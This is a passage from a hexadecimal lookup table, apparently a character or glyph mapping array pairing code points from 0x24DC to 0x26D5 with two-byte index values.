0x1d,\r\n0x00, 0x24, 0xDC, 0x08, 0x05,\r\n0x00, 0x24, 0xDD, 0xc4, 0x1d,\r\n0x00, 0x24, 0xDE, 0xd5, 0x13,\r\n0x00, 0x24, 0xDF, 0xc5, 0x1d,\r\n0x00, 0x24, 0xE0, 0xc6, 0x1d,\r\n0x00, 0x24, 0xE1, 0xc7, 0x1d,\r\n0x00, 0x24, 0xE2, 0xc8, 0x1d,\r\n0x00, 0x24, 0xE3, 0xc9, 0x1d,\r\n0x00, 0x24, 0xE4, 0xca, 0x1d,\r\n0x00, 0x24, 0xE5, 0xcb, 0x1d,\r\n0x00, 0x24, 0xE6, 0xcc, 0x1d,\r\n0x00, 0x24, 0xE7, 0xcd, 0x1d,\r\n0x00, 0x24, 0xE8, 0xd1, 0x05,\r\n0x00, 0x24, 0xE9, 0x4f, 0x02,\r\n0x00, 0x24, 0xEA, 0xce, 0x1d,\r\n0x00, 0x24, 0xEB, 0xcf, 0x1d,\r\n0x00, 0x24, 0xEC, 0x2e, 0x06,\r\n0x00, 0x24, 0xED, 0xd0, 0x1d,\r\n0x00, 0x24, 0xEE, 0xd1, 0x1d,\r\n0x00, 0x24, 0xEF, 0xbe, 0x09,\r\n0x00, 0x24, 0xF0, 0xd2, 0x1d,\r\n0x00, 0x24, 0xF1, 0xe9, 0x01,\r\n0x00, 0x24, 0xF2, 0x34, 0x1b,\r\n0x00, 0x24, 0xF3, 0xc5, 0x08,\r\n0x00, 0x24, 0xF4, 0xd3, 0x1d,\r\n0x00, 0x24, 0xF5, 0xd4, 0x1d,\r\n0x00, 0x24, 0xF6, 0xd5, 0x1d,\r\n0x00, 0x24, 0xF7, 0x05, 0x00,\r\n0x00, 0x24, 0xF8, 0x35, 0x06,\r\n0x00, 0x24, 0xF9, 0x05, 0x00,\r\n0x00, 0x24, 0xFA, 0xd6, 0x1d,\r\n0x00, 0x24, 0xFB, 0x65, 0x00,\r\n0x00, 0x24, 0xFC, 0xd7, 0x1d,\r\n0x00, 0x24, 0xFD, 0xb3, 0x12,\r\n0x00, 0x24, 0xFE, 0xc3, 0x03,\r\n0x00, 0x24, 0xFF, 0x91, 0x0c,\r\n0x00, 0x25, 0x00, 0x51, 0x03,\r\n0x00, 0x25, 0x01, 0xd8, 0x1d,\r\n0x00, 0x25, 0x02, 0xd9, 0x1d,\r\n0x00, 0x25, 0x03, 0x2f, 0x02,\r\n0x00, 0x25, 0x04, 0xda, 0x1d,\r\n0x00, 0x25, 0x05, 0xdb, 0x1d,\r\n0x00, 0x25, 0x06, 0xdc, 0x1d,\r\n0x00, 0x25, 0x07, 0xdd, 0x1d,\r\n0x00, 0x25, 0x08, 0xde, 0x1d,\r\n0x00, 0x25, 0x09, 0xdf, 0x1d,\r\n0x00, 0x25, 0x0A, 0xe0, 0x1d,\r\n0x00, 0x25, 0x0B, 0xe1, 0x1d,\r\n0x00, 0x25, 0x0C, 0xe2, 0x1d,\r\n0x00, 0x25, 0x0D, 0xe3, 0x1d,\r\n0x00, 0x25, 0x0E, 0xe4, 0x1d,\r\n0x00, 0x25, 0x0F, 0xe5, 0x1d,\r\n0x00, 0x25, 0x10, 0xe6, 0x1d,\r\n0x00, 0x25, 0x11, 0xee, 0x06,\r\n0x00, 0x25, 0x12, 0xe1, 0x12,\r\n0x00, 0x25, 0x13, 0xe7, 0x1d,\r\n0x00, 0x25, 0x14, 0xe8, 0x1d,\r\n0x00, 0x25, 0x15, 0xdc, 0x13,\r\n0x00, 0x25, 0x16, 0xd5, 0x00,\r\n0x00, 0x25, 0x17, 0xe9, 0x1d,\r\n0x00, 0x25, 0x18, 0xea, 0x1d,\r\n0x00, 0x25, 0x19, 0xeb, 0x1d,\r\n0x00, 0x25, 0x1A, 0xec, 0x1d,\r\n0x00, 0x25, 0x1B, 0x44, 0x02,\r\n0x00, 0x25, 0x1C, 0xed, 0x1d,\r\n0x00, 0x25, 0x1D, 0xee, 0x1d,\r\n0x00, 0x25, 0x1E, 0xef, 0x1d,\r\n0x00, 0x25, 0x1F, 0xf0, 0x1d,\r\n0x00, 0x25, 0x20, 0xf1, 0x1d,\r\n0x00, 0x25, 0x21, 0xf2, 0x1d,\r\n0x00, 0x25, 0x22, 0xf3, 0x1d,\r\n0x00, 0x25, 0x23, 0xf4, 0x1d,\r\n0x00, 0x25, 0x24, 0xf5, 0x1d,\r\n0x00, 0x25, 0x25, 0xf6, 0x1d,\r\n0x00, 0x25, 0x26, 0xf7, 0x1d,\r\n0x00, 0x25, 0x27, 0xf8, 0x1d,\r\n0x00, 0x25, 0x28, 0xf9, 0x1d,\r\n0x00, 0x25, 0x29, 0xfa, 0x1d,\r\n0x00, 0x25, 0x2A, 0xfb, 0x1d,\r\n0x00, 0x25, 0x2B, 0xfc, 0x1d,\r\n0x00, 0x25, 0x2C, 0xfd, 0x1d,\r\n0x00, 0x25, 0x2D, 0xfe, 0x1d,\r\n0x00, 0x25, 0x2E, 0xc4, 0x14,\r\n0x00, 0x25, 0x2F, 0xff, 0x1d,\r\n0x00, 0x25, 0x30, 0x00, 0x1e,\r\n0x00, 0x25, 0x31, 0x01, 0x1e,\r\n0x00, 0x25, 0x32, 0x02, 0x1e,\r\n0x00, 0x25, 0x33, 0x03, 0x1e,\r\n0x00, 0x25, 0x35, 0x04, 0x1e,\r\n0x00, 0x25, 0x36, 0x3c, 0x0f,\r\n0x00, 0x25, 0x37, 0x05, 0x1e,\r\n0x00, 0x25, 0x38, 0x4f, 0x02,\r\n0x00, 0x25, 0x39, 0x06, 0x1e,\r\n0x00, 0x25, 0x3A, 0x07, 0x1e,\r\n0x00, 0x25, 0x3B, 0x08, 0x1e,\r\n0x00, 0x25, 0x3C, 0x02, 0x0c,\r\n0x00, 0x25, 0x3D, 0x09, 0x1e,\r\n0x00, 0x25, 0x3E, 0x0a, 0x1e,\r\n0x00, 0x25, 0x40, 0x0b, 0x1e,\r\n0x00, 0x25, 0x41, 0x0c, 0x1e,\r\n0x00, 0x25, 0x42, 0x0d, 0x1e,\r\n0x00, 0x25, 0x43, 0x0e, 0x1e,\r\n0x00, 0x25, 0x44, 0x0f, 0x1e,\r\n0x00, 0x25, 0x45, 0x05, 0x00,\r\n0x00, 0x25, 0x46, 0x05, 0x00,\r\n0x00, 0x25, 0x47, 0xb9, 0x02,\r\n0x00, 0x25, 0x48, 0xb9, 0x02,\r\n0x00, 0x25, 0x49, 0x10, 0x1e,\r\n0x00, 0x25, 0x4A, 0x11, 0x1e,\r\n0x00, 0x25, 0x4B, 0x51, 0x03,\r\n0x00, 0x25, 0x4C, 0x12, 0x1e,\r\n0x00, 0x25, 0x4D, 0x13, 0x1e,\r\n0x00, 0x25, 0x4E, 0x14, 0x1e,\r\n0x00, 0x25, 0x4F, 0x15, 0x1e,\r\n0x00, 0x25, 0x50, 0x0f, 0x0d,\r\n0x00, 0x25, 0x51, 0x16, 0x1e,\r\n0x00, 0x25, 0x52, 0x17, 0x1e,\r\n0x00, 0x25, 0x53, 0x71, 0x07,\r\n0x00, 0x25, 0x54, 0x18, 0x1e,\r\n0x00, 0x25, 0x55, 0x15, 0x10,\r\n0x00, 0x25, 0x56, 0xe3, 0x11,\r\n0x00, 0x25, 0x57, 0xc2, 0x0d,\r\n0x00, 0x25, 0x58, 0x19, 0x1e,\r\n0x00, 0x25, 0x59, 0x1a, 0x1e,\r\n0x00, 0x25, 0x5A, 0x1b, 0x1e,\r\n0x00, 0x25, 0x5B, 0x1c, 0x1e,\r\n0x00, 0x25, 0x5C, 0x45, 0x00,\r\n0x00, 0x25, 0x5D, 0x1d, 0x1e,\r\n0x00, 0x25, 0x5E, 0x0e, 0x03,\r\n0x00, 0x25, 0x5F, 0x1e, 0x1e,\r\n0x00, 0x25, 0x60, 0x1f, 0x1e,\r\n0x00, 0x25, 0x61, 0x82, 0x13,\r\n0x00, 0x25, 0x62, 0x20, 0x1e,\r\n0x00, 0x25, 0x63, 0x21, 0x1e,\r\n0x00, 0x25, 0x64, 0xd1, 0x05,\r\n0x00, 0x25, 0x65, 0x22, 0x1e,\r\n0x00, 0x25, 0x66, 0x4f, 0x02,\r\n0x00, 0x25, 0x67, 0x4f, 0x02,\r\n0x00, 0x25, 0x68, 0xda, 0x14,\r\n0x00, 0x25, 0x69, 0xc4, 0x0c,\r\n0x00, 0x25, 0x6A, 0x23, 0x1e,\r\n0x00, 0x25, 0x6B, 0x24, 0x1e,\r\n0x00, 0x25, 0x6C, 0x25, 0x1e,\r\n0x00, 0x25, 0x6D, 0xe6, 0x0d,\r\n0x00, 0x25, 0x6E, 0x26, 0x1e,\r\n0x00, 0x25, 0x6F, 0x27, 0x1e,\r\n0x00, 0x25, 0x70, 0x28, 0x1e,\r\n0x00, 0x25, 0x71, 0x27, 0x07,\r\n0x00, 0x25, 0x72, 0x29, 0x1e,\r\n0x00, 0x25, 0x73, 0x2a, 0x1e,\r\n0x00, 0x25, 0x74, 0x2b, 0x1e,\r\n0x00, 0x25, 0x75, 0x2c, 0x1e,\r\n0x00, 0x25, 0x76, 0x2d, 0x1e,\r\n0x00, 0x25, 0x77, 0x2e, 0x1e,\r\n0x00, 0x25, 0x78, 0x2f, 0x1e,\r\n0x00, 0x25, 0x79, 0x30, 0x1e,\r\n0x00, 0x25, 0x7A, 0x31, 0x1e,\r\n0x00, 0x25, 0x7B, 0x32, 0x1e,\r\n0x00, 0x25, 0x7C, 0x33, 0x1e,\r\n0x00, 0x25, 0x7D, 0x34, 0x1e,\r\n0x00, 0x25, 0x7E, 0x35, 0x1e,\r\n0x00, 0x25, 0x7F, 0x36, 0x1e,\r\n0x00, 0x25, 0x80, 0x37, 0x1e,\r\n0x00, 0x25, 0x81, 0x38, 0x1e,\r\n0x00, 0x25, 0x82, 0x39, 0x1e,\r\n0x00, 0x25, 0x83, 0x05, 0x00,\r\n0x00, 0x25, 0x84, 0x05, 0x00,\r\n0x00, 0x25, 0x85, 0x3a, 0x1e,\r\n0x00, 0x25, 0x86, 0xcf, 0x09,\r\n0x00, 0x25, 0x87, 0x3b, 0x1e,\r\n0x00, 0x25, 0x88, 0x3c, 0x1e,\r\n0x00, 0x25, 0x89, 0x3d, 0x1e,\r\n0x00, 0x25, 0x8A, 0x3e, 0x1e,\r\n0x00, 0x25, 0x8B, 0x95, 0x02,\r\n0x00, 0x25, 0x8C, 0x3f, 0x1e,\r\n0x00, 0x25, 0x8D, 0x40, 0x1e,\r\n0x00, 0x25, 0x8E, 0x41, 0x1e,\r\n0x00, 0x25, 0x8F, 0x42, 0x1e,\r\n0x00, 0x25, 0x90, 0x43, 0x1e,\r\n0x00, 0x25, 0x91, 0x44, 0x1e,\r\n0x00, 0x25, 0x92, 0xd3, 0x06,\r\n0x00, 0x25, 0x93, 0x45, 0x1e,\r\n0x00, 0x25, 0x94, 0x46, 0x1e,\r\n0x00, 0x25, 0x95, 0x47, 0x1e,\r\n0x00, 0x25, 0x96, 0x48, 0x1e,\r\n0x00, 0x25, 0x97, 0x49, 0x1e,\r\n0x00, 0x25, 0x98, 0x4a, 0x1e,\r\n0x00, 0x25, 0x99, 0x4b, 0x1e,\r\n0x00, 0x25, 0x9A, 0x4c, 0x1e,\r\n0x00, 0x25, 0x9B, 0x4d, 0x1e,\r\n0x00, 0x25, 0x9C, 0xf9, 0x0a,\r\n0x00, 0x25, 0x9D, 0x65, 0x00,\r\n0x00, 0x25, 0x9E, 0xda, 0x14,\r\n0x00, 0x25, 0x9F, 0x4e, 0x1e,\r\n0x00, 0x25, 0xA0, 0xc5, 0x08,\r\n0x00, 0x25, 0xA1, 0x4f, 0x1e,\r\n0x00, 0x25, 0xA2, 0x50, 0x1e,\r\n0x00, 0x25, 0xA3, 0x51, 0x1e,\r\n0x00, 0x25, 0xA4, 0x46, 0x1e,\r\n0x00, 0x25, 0xA5, 0x52, 0x1e,\r\n0x00, 0x25, 0xA6, 0x53, 0x1e,\r\n0x00, 0x25, 0xA7, 0x54, 0x1e,\r\n0x00, 0x25, 0xA8, 0x55, 0x1e,\r\n0x00, 0x25, 0xA9, 0x0e, 0x03,\r\n0x00, 0x25, 0xAA, 0xd6, 0x1c,\r\n0x00, 0x25, 0xAB, 0x56, 0x1e,\r\n0x00, 0x25, 0xAC, 0x57, 0x1e,\r\n0x00, 0x25, 0xAD, 0x11, 0x0a,\r\n0x00, 0x25, 0xAE, 0xb4, 0x03,\r\n0x00, 0x25, 0xAF, 0x58, 0x1e,\r\n0x00, 0x25, 0xB0, 0x59, 0x1e,\r\n0x00, 0x25, 0xB1, 0x5a, 0x1e,\r\n0x00, 0x25, 0xB2, 0x5b, 0x1e,\r\n0x00, 0x25, 0xB3, 0xc9, 0x01,\r\n0x00, 0x25, 0xB4, 0x05, 0x00,\r\n0x00, 0x25, 0xB5, 0x05, 0x00,\r\n0x00, 0x25, 0xB6, 0x5c, 0x1e,\r\n0x00, 0x25, 0xB7, 0x5d, 0x1e,\r\n0x00, 0x25, 0xB8, 0x5e, 0x1e,\r\n0x00, 0x25, 0xB9, 0x5f, 0x1e,\r\n0x00, 0x25, 0xBA, 0xd1, 0x06,\r\n0x00, 0x25, 0xBB, 0x60, 0x1e,\r\n0x00, 0x25, 0xBC, 0x51, 0x03,\r\n0x00, 0x25, 0xBD, 0x61, 0x1e,\r\n0x00, 0x25, 0xBE, 0x62, 0x1e,\r\n0x00, 0x25, 0xBF, 0x61, 0x01,\r\n0x00, 0x25, 0xC0, 0x63, 0x1e,\r\n0x00, 0x25, 0xC1, 0x64, 0x1e,\r\n0x00, 0x25, 0xC2, 0x65, 0x1e,\r\n0x00, 0x25, 0xC3, 0x66, 0x1e,\r\n0x00, 0x25, 0xC4, 0x02, 0x11,\r\n0x00, 0x25, 0xC5, 0x67, 0x1e,\r\n0x00, 0x25, 0xC6, 0x68, 0x1e,\r\n0x00, 0x25, 0xC7, 0x69, 0x1e,\r\n0x00, 0x25, 0xC8, 0x6a, 0x1e,\r\n0x00, 0x25, 0xC9, 0xe9, 0x01,\r\n0x00, 0x25, 0xCA, 0x6b, 0x1e,\r\n0x00, 0x25, 0xCB, 0x6c, 0x1e,\r\n0x00, 0x25, 0xCC, 0x3d, 0x14,\r\n0x00, 0x25, 0xCD, 0x6d, 0x1e,\r\n0x00, 0x25, 0xCE, 0x6e, 0x1e,\r\n0x00, 0x25, 0xCF, 0xb9, 0x02,\r\n0x00, 0x25, 0xD0, 0xb9, 0x02,\r\n0x00, 0x25, 0xD1, 0xbc, 0x11,\r\n0x00, 0x25, 0xD2, 0x6f, 0x1e,\r\n0x00, 0x25, 0xD3, 0xb5, 0x12,\r\n0x00, 0x25, 0xD4, 0xd2, 0x0f,\r\n0x00, 0x25, 0xD5, 0x70, 0x1e,\r\n0x00, 0x25, 0xD6, 0x71, 0x1e,\r\n0x00, 0x25, 0xD7, 0x72, 0x1e,\r\n0x00, 0x25, 0xD8, 0x73, 0x1e,\r\n0x00, 0x25, 0xD9, 0x74, 0x1e,\r\n0x00, 0x25, 0xDA, 0x75, 0x1e,\r\n0x00, 0x25, 0xDB, 0x76, 0x1e,\r\n0x00, 0x25, 0xDC, 0x58, 0x00,\r\n0x00, 0x25, 0xDD, 0x77, 0x1e,\r\n0x00, 0x25, 0xDE, 0x78, 0x1e,\r\n0x00, 0x25, 0xDF, 0x65, 0x00,\r\n0x00, 0x25, 0xE0, 0x79, 0x1e,\r\n0x00, 0x25, 0xE1, 0x0e, 0x03,\r\n0x00, 0x25, 0xE2, 0x7a, 0x1e,\r\n0x00, 0x25, 0xE3, 0x7b, 0x1e,\r\n0x00, 0x25, 0xE4, 0x7c, 0x1e,\r\n0x00, 0x25, 0xE5, 0xce, 0x17,\r\n0x00, 0x25, 0xE6, 0x7d, 0x1e,\r\n0x00, 0x25, 0xE7, 0xbe, 0x09,\r\n0x00, 0x25, 0xE8, 0x7e, 0x1e,\r\n0x00, 0x25, 0xE9, 0x7f, 0x1e,\r\n0x00, 0x25, 0xEA, 0x80, 0x1e,\r\n0x00, 0x25, 0xEB, 0x81, 0x1e,\r\n0x00, 0x25, 0xEC, 0x82, 0x1e,\r\n0x00, 0x25, 0xED, 0x83, 0x1e,\r\n0x00, 0x25, 0xEE, 0x84, 0x1e,\r\n0x00, 0x25, 0xEF, 0x85, 0x1e,\r\n0x00, 0x25, 0xF0, 0x86, 0x1e,\r\n0x00, 0x25, 0xF1, 0xb9, 0x00,\r\n0x00, 0x25, 0xF2, 0xb9, 0x00,\r\n0x00, 0x25, 0xF3, 0x87, 0x1e,\r\n0x00, 0x25, 0xF4, 0x88, 0x1e,\r\n0x00, 0x25, 0xF5, 0x89, 0x1e,\r\n0x00, 0x25, 0xF6, 0x8a, 0x1e,\r\n0x00, 0x25, 0xF7, 0x8b, 0x1e,\r\n0x00, 0x25, 0xF9, 0x8c, 0x1e,\r\n0x00, 0x25, 0xFA, 0x8d, 0x1e,\r\n0x00, 0x25, 0xFB, 0x8e, 0x1e,\r\n0x00, 0x25, 0xFC, 0x8f, 0x1e,\r\n0x00, 0x25, 0xFD, 0x90, 0x1e,\r\n0x00, 0x25, 0xFE, 0x91, 0x1e,\r\n0x00, 0x25, 0xFF, 0x92, 0x1e,\r\n0x00, 0x26, 0x00, 0x93, 0x1e,\r\n0x00, 0x26, 0x01, 0x94, 0x1e,\r\n0x00, 0x26, 0x02, 0x95, 0x1e,\r\n0x00, 0x26, 0x03, 0xe9, 0x01,\r\n0x00, 0x26, 0x04, 0x96, 0x1e,\r\n0x00, 0x26, 0x05, 0x97, 0x1e,\r\n0x00, 0x26, 0x06, 0x98, 0x1e,\r\n0x00, 0x26, 0x07, 0x99, 0x1e,\r\n0x00, 0x26, 0x08, 0x51, 0x03,\r\n0x00, 0x26, 0x09, 0x9a, 0x1e,\r\n0x00, 0x26, 0x0A, 0x05, 0x00,\r\n0x00, 0x26, 0x0B, 0x05, 0x00,\r\n0x00, 0x26, 0x0C, 0x9b, 0x1e,\r\n0x00, 0x26, 0x0D, 0x9c, 0x1e,\r\n0x00, 0x26, 0x0E, 0x9d, 0x1e,\r\n0x00, 0x26, 0x0F, 0x9e, 0x1e,\r\n0x00, 0x26, 0x10, 0x9f, 0x1e,\r\n0x00, 0x26, 0x11, 0xa0, 0x1e,\r\n0x00, 0x26, 0x12, 0xa1, 0x1e,\r\n0x00, 0x26, 0x13, 0xa2, 0x1e,\r\n0x00, 0x26, 0x14, 0xa3, 0x1e,\r\n0x00, 0x26, 0x15, 0xa4, 0x1e,\r\n0x00, 0x26, 0x16, 0x61, 0x00,\r\n0x00, 0x26, 0x17, 0xa5, 0x1e,\r\n0x00, 0x26, 0x18, 0x20, 0x0b,\r\n0x00, 0x26, 0x19, 0xa6, 0x1e,\r\n0x00, 0x26, 0x1A, 0xa7, 0x1e,\r\n0x00, 0x26, 0x1B, 0xa8, 0x1e,\r\n0x00, 0x26, 0x1C, 0xa9, 0x1e,\r\n0x00, 0x26, 0x1D, 0xaa, 0x1e,\r\n0x00, 0x26, 0x1E, 0xab, 0x1e,\r\n0x00, 0x26, 0x1F, 0xac, 0x1e,\r\n0x00, 0x26, 0x20, 0xad, 0x1e,\r\n0x00, 0x26, 0x21, 0xae, 0x1e,\r\n0x00, 0x26, 0x22, 0xe9, 0x16,\r\n0x00, 0x26, 0x23, 0xaf, 0x1e,\r\n0x00, 0x26, 0x24, 0x17, 0x07,\r\n0x00, 0x26, 0x25, 0xb0, 0x1e,\r\n0x00, 0x26, 0x26, 0xb1, 0x1e,\r\n0x00, 0x26, 0x27, 0xb2, 0x1e,\r\n0x00, 0x26, 0x28, 0xb3, 0x1e,\r\n0x00, 0x26, 0x29, 0xb4, 0x1e,\r\n0x00, 0x26, 0x2A, 0xb5, 0x1e,\r\n0x00, 0x26, 0x2B, 0xb6, 0x1e,\r\n0x00, 0x26, 0x2C, 0xb7, 0x1e,\r\n0x00, 0x26, 0x2D, 0xc9, 0x09,\r\n0x00, 0x26, 0x2E, 0xb8, 0x1e,\r\n0x00, 0x26, 0x2F, 0xb9, 0x1e,\r\n0x00, 0x26, 0x30, 0xba, 0x1e,\r\n0x00, 0x26, 0x31, 0xbb, 0x1e,\r\n0x00, 0x26, 0x32, 0xbc, 0x1e,\r\n0x00, 0x26, 0x33, 0xbd, 0x1e,\r\n0x00, 0x26, 0x34, 0xbe, 0x1e,\r\n0x00, 0x26, 0x35, 0xbf, 0x1e,\r\n0x00, 0x26, 0x36, 0xb9, 0x00,\r\n0x00, 0x26, 0x37, 0x4f, 0x02,\r\n0x00, 0x26, 0x38, 0xc0, 0x1e,\r\n0x00, 0x26, 0x39, 0xc1, 0x1e,\r\n0x00, 0x26, 0x3A, 0xc2, 0x1e,\r\n0x00, 0x26, 0x3B, 0xc3, 0x1e,\r\n0x00, 0x26, 0x3C, 0x8d, 0x0e,\r\n0x00, 0x26, 0x3D, 0xc4, 0x1e,\r\n0x00, 0x26, 0x3E, 0xec, 0x09,\r\n0x00, 0x26, 0x3F, 0xc5, 0x1e,\r\n0x00, 0x26, 0x40, 0xc6, 0x1e,\r\n0x00, 0x26, 0x41, 0xb9, 0x00,\r\n0x00, 0x26, 0x42, 0xb9, 0x00,\r\n0x00, 0x26, 0x43, 0x93, 0x02,\r\n0x00, 0x26, 0x44, 0xbc, 0x0c,\r\n0x00, 0x26, 0x45, 0xc7, 0x1e,\r\n0x00, 0x26, 0x46, 0x58, 0x06,\r\n0x00, 0x26, 0x47, 0xc8, 0x1e,\r\n0x00, 0x26, 0x48, 0x9f, 0x18,\r\n0x00, 0x26, 0x4A, 0x51, 0x03,\r\n0x00, 0x26, 0x4C, 0x0e, 0x03,\r\n0x00, 0x26, 0x4D, 0x5b, 0x10,\r\n0x00, 0x26, 0x4E, 0xc9, 0x1e,\r\n0x00, 0x26, 0x4F, 0xca, 0x1e,\r\n0x00, 0x26, 0x50, 0x02, 0x0c,\r\n0x00, 0x26, 0x51, 0x05, 0x00,\r\n0x00, 0x26, 0x52, 0x05, 0x00,\r\n0x00, 0x26, 0x53, 0xcb, 0x1e,\r\n0x00, 0x26, 0x54, 0xf2, 0x00,\r\n0x00, 0x26, 0x55, 0xc9, 0x01,\r\n0x00, 0x26, 0x56, 0xcc, 0x1e,\r\n0x00, 0x26, 0x57, 0xcd, 0x1e,\r\n0x00, 0x26, 0x58, 0xce, 0x1e,\r\n0x00, 0x26, 0x59, 0xc5, 0x08,\r\n0x00, 0x26, 0x5A, 0xe8, 0x04,\r\n0x00, 0x26, 0x5B, 0x4a, 0x05,\r\n0x00, 0x26, 0x5C, 0xe3, 0x11,\r\n0x00, 0x26, 0x5D, 0x4f, 0x02,\r\n0x00, 0x26, 0x5E, 0xe3, 0x11,\r\n0x00, 0x26, 0x5F, 0x4f, 0x02,\r\n0x00, 0x26, 0x60, 0xcf, 0x1e,\r\n0x00, 0x26, 0x61, 0xd0, 0x1e,\r\n0x00, 0x26, 0x62, 0xe7, 0x0d,\r\n0x00, 0x26, 0x63, 0xe9, 0x01,\r\n0x00, 0x26, 0x64, 0xd1, 0x1e,\r\n0x00, 0x26, 0x65, 0xd2, 0x1e,\r\n0x00, 0x26, 0x66, 0xc0, 0x07,\r\n0x00, 0x26, 0x67, 0xd3, 0x1e,\r\n0x00, 0x26, 0x68, 0xb9, 0x02,\r\n0x00, 0x26, 0x69, 0xb9, 0x02,\r\n0x00, 0x26, 0x6A, 0xd4, 0x1e,\r\n0x00, 0x26, 0x6B, 0xd5, 0x1e,\r\n0x00, 0x26, 0x6C, 0x49, 0x08,\r\n0x00, 0x26, 0x6D, 0xd6, 0x1e,\r\n0x00, 0x26, 0x6E, 0xd7, 0x1e,\r\n0x00, 0x26, 0x6F, 0xd8, 0x1e,\r\n0x00, 0x26, 0x70, 0xd9, 0x1e,\r\n0x00, 0x26, 0x71, 0xda, 0x1e,\r\n0x00, 0x26, 0x72, 0xdb, 0x1e,\r\n0x00, 0x26, 0x73, 0x6d, 0x00,\r\n0x00, 0x26, 0x74, 0x38, 0x05,\r\n0x00, 0x26, 0x75, 0xdc, 0x1e,\r\n0x00, 0x26, 0x76, 0xdd, 0x1e,\r\n0x00, 0x26, 0x77, 0xde, 0x1e,\r\n0x00, 0x26, 0x78, 0xdf, 0x1e,\r\n0x00, 0x26, 0x79, 0xe0, 0x1e,\r\n0x00, 0x26, 0x7A, 0xe1, 0x1e,\r\n0x00, 0x26, 0x7B, 0xe2, 0x1e,\r\n0x00, 0x26, 0x7C, 0xe3, 0x1e,\r\n0x00, 0x26, 0x7D, 0xe4, 0x1e,\r\n0x00, 0x26, 0x7E, 0xd5, 0x0f,\r\n0x00, 0x26, 0x7F, 0xe5, 0x1e,\r\n0x00, 0x26, 0x80, 0xe6, 0x1e,\r\n0x00, 0x26, 0x81, 0xe7, 0x1e,\r\n0x00, 0x26, 0x82, 0xe4, 0x08,\r\n0x00, 0x26, 0x83, 0xe8, 0x1e,\r\n0x00, 0x26, 0x84, 0xe9, 0x1e,\r\n0x00, 0x26, 0x85, 0xea, 0x1e,\r\n0x00, 0x26, 0x86, 0xeb, 0x1e,\r\n0x00, 0x26, 0x87, 0x6a, 0x09,\r\n0x00, 0x26, 0x88, 0x08, 0x05,\r\n0x00, 0x26, 0x89, 0xd2, 0x0f,\r\n0x00, 0x26, 0x8A, 0xec, 0x1e,\r\n0x00, 0x26, 0x8B, 0xd3, 0x06,\r\n0x00, 0x26, 0x8C, 0xed, 0x1e,\r\n0x00, 0x26, 0x8D, 0xee, 0x1e,\r\n0x00, 0x26, 0x8E, 0xef, 0x1e,\r\n0x00, 0x26, 0x8F, 0xf0, 0x1e,\r\n0x00, 0x26, 0x90, 0xf1, 0x1e,\r\n0x00, 0x26, 0x91, 0xc4, 0x0c,\r\n0x00, 0x26, 0x92, 0xb2, 0x00,\r\n0x00, 0x26, 0x93, 0xf2, 0x1e,\r\n0x00, 0x26, 0x94, 0xf3, 0x1e,\r\n0x00, 0x26, 0x95, 0xf4, 0x1e,\r\n0x00, 0x26, 0x96, 0xf5, 0x1e,\r\n0x00, 0x26, 0x97, 0xf6, 0x1e,\r\n0x00, 0x26, 0x98, 0x05, 0x00,\r\n0x00, 0x26, 0x99, 0x05, 0x00,\r\n0x00, 0x26, 0x9A, 0xf7, 0x1e,\r\n0x00, 0x26, 0x9B, 0xf8, 0x1e,\r\n0x00, 0x26, 0x9C, 0xf9, 0x1e,\r\n0x00, 0x26, 0x9D, 0xfa, 0x1e,\r\n0x00, 0x26, 0x9E, 0x20, 0x13,\r\n0x00, 0x26, 0x9F, 0x65, 0x00,\r\n0x00, 0x26, 0xA0, 0xfb, 0x1e,\r\n0x00, 0x26, 0xA1, 0xfc, 0x1e,\r\n0x00, 0x26, 0xA2, 0xbc, 0x1e,\r\n0x00, 0x26, 0xA3, 0xfd, 0x1e,\r\n0x00, 0x26, 0xA4, 0xfe, 0x1e,\r\n0x00, 0x26, 0xA5, 0xff, 0x1e,\r\n0x00, 0x26, 0xA6, 0x00, 0x1f,\r\n0x00, 0x26, 0xA7, 0x01, 0x1f,\r\n0x00, 0x26, 0xA8, 0x02, 0x1f,\r\n0x00, 0x26, 0xA9, 0x03, 0x1f,\r\n0x00, 0x26, 0xAA, 0x04, 0x1f,\r\n0x00, 0x26, 0xAB, 0x41, 0x00,\r\n0x00, 0x26, 0xAC, 0x0e, 0x03,\r\n0x00, 0x26, 0xAD, 0x05, 0x1f,\r\n0x00, 0x26, 0xAE, 0x61, 0x01,\r\n0x00, 0x26, 0xAF, 0x06, 0x1f,\r\n0x00, 0x26, 0xB0, 0x51, 0x03,\r\n0x00, 0x26, 0xB1, 0x07, 0x1f,\r\n0x00, 0x26, 0xB2, 0x08, 0x1f,\r\n0x00, 0x26, 0xB3, 0x30, 0x0e,\r\n0x00, 0x26, 0xB4, 0x09, 0x1f,\r\n0x00, 0x26, 0xB5, 0x0a, 0x1f,\r\n0x00, 0x26, 0xB6, 0xb7, 0x0f,\r\n0x00, 0x26, 0xB7, 0x0b, 0x1f,\r\n0x00, 0x26, 0xB8, 0xe7, 0x0d,\r\n0x00, 0x26, 0xB9, 0xd1, 0x05,\r\n0x00, 0x26, 0xBA, 0xb9, 0x00,\r\n0x00, 0x26, 0xBB, 0x51, 0x03,\r\n0x00, 0x26, 0xBC, 0x0c, 0x1f,\r\n0x00, 0x26, 0xBD, 0x0d, 0x1f,\r\n0x00, 0x26, 0xBE, 0x0e, 0x1f,\r\n0x00, 0x26, 0xBF, 0xe9, 0x01,\r\n0x00, 0x26, 0xC0, 0x0f, 0x1f,\r\n0x00, 0x26, 0xC1, 0x10, 0x1f,\r\n0x00, 0x26, 0xC2, 0x11, 0x1f,\r\n0x00, 0x26, 0xC3, 0x12, 0x1f,\r\n0x00, 0x26, 0xC4, 0x13, 0x1f,\r\n0x00, 0x26, 0xC5, 0xc8, 0x0a,\r\n0x00, 0x26, 0xC6, 0x80, 0x10,\r\n0x00, 0x26, 0xC7, 0x80, 0x10,\r\n0x00, 0x26, 0xC8, 0x14, 0x1f,\r\n0x00, 0x26, 0xC9, 0x15, 0x1f,\r\n0x00, 0x26, 0xCA, 0x05, 0x00,\r\n0x00, 0x26, 0xCB, 0x05, 0x00,\r\n0x00, 0x26, 0xCC, 0xb9, 0x02,\r\n0x00, 0x26, 0xCD, 0x16, 0x1f,\r\n0x00, 0x26, 0xCE, 0x17, 0x1f,\r\n0x00, 0x26, 0xCF, 0x18, 0x1f,\r\n0x00, 0x26, 0xD0, 0x19, 0x1f,\r\n0x00, 0x26, 0xD1, 0x1a, 0x1f,\r\n0x00, 0x26, 0xD2, 0x1b, 0x1f,\r\n0x00, 0x26, 0xD3, 0x1c, 0x1f,\r\n0x00, 0x26, 0xD4, 0x1d, 0x1f,\r\n0x00, 0x26, 0xD5, 0x1e, 